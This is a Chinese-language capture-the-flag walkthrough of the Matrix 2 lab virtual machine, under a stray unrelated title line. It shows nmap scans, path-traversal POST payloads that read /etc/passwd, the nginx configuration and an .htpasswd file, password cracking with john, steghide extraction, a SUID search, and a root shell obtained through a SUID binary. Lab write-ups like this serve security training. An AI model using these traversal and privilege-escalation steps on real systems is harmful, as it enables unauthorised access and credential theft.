Break up in a small town
0x00 环境准备
Kali-Linux(IP:10.10.16.128)
Matrix 2 虚拟机
NAT 网络连接
0x01 主机发现
nmap -sP 10.10.16.0/24
0x02 端口扫描
nmap -A -v -sS -sV -p- -T4 10.10.16.142
发现开放端口 80、1337、12320、12321、12322,这里需要注意的是,除却 80 端口,其他端口都是使用 https(ssl/http)访问
HTTPS 在 HTTP 的基础上加入了 SSL 协议,SSL 依靠证书来验证服务器的身份,并为浏览器和服务器之间的通信加密。
0x03 目录扫描
在 12322 端口得到 robots.txt 文件
0x04 漏洞挖掘
1. 对各个端口/目录进行访问。
① Port : 80 ( http )
② Port : 1337 ( https )
③ Port : 12320 ( https )
④ Port : 12321 ( https )
⑤ Port : 12322 ( https )
⑥ robots.txt
2. 发现 file_view.php 文件,尝试任意文件读取
/etc/passwd
这个文件保存改系统下所有用户及其信息
① GET 传参
没有回显,不是 GET 方法传递参数
https://10.10.16.142:12322/file_view.php?file=../../../../../etc/passwd
② POST 传参
查看网页源码可以发现回显排列整齐
0x05 漏洞利用
- 利用任意文件读取漏洞读取 nginx 的默认配置文件
POST参数如下:
file=../../../../../etc/nginx/sites-available/default
nginx 配置指令 auth_basic , auth_basic_user_file
auth_basic 指定的字符串会在 1337 端口的弹窗中显示
auth_basic_user_file 指定保存用户名密码文件
file=../../../../../var/www/p4ss/.htpasswd
- 将得到的帐密放在 zhutou 文件中,拿去 john 解密。复制粘贴的时候要注意字符不能多也不能少,多一个空格都不可,会报错。
- 把得到的帐密 Tr1n17y/admin 拿去 1337 端口的页面登录
- 查看源码,发现一张隐藏的图片
- 将图片下载到本地,然后使用隐写工具 Steghide 分离出被隐写的文件,Kali 默认没有该工具,需要先下载。
apt-get install steghide
steghide --extract -sf h1dd3n.jpg
- 将 n30/P4$$w0rd 到12320 端口的控制台登录,ls -la 得到 .bash_history 文件
.bash_history文件简介
保存当前用户使用过的命令
- 查看具有 suid 权限的命令
SUID是可执行文件的特殊文件权限,使其他用户能够以文件所有者的有效权限运行文件。 代替执行权限的正常x代替用户的s (指示SUID )特权。
find / -perm -u=s -type f 2>/dev/null
- 由上图可知 morpheus 文件的所有者是 root ,刚好 morpheus 文件又有 suid 权限,所以可以使用其来提权。
morpheus 'BEGIN {system("/bin/sh")}'
可以借鉴 .bash_history 文件中的历史命令
猪头
2020.3.10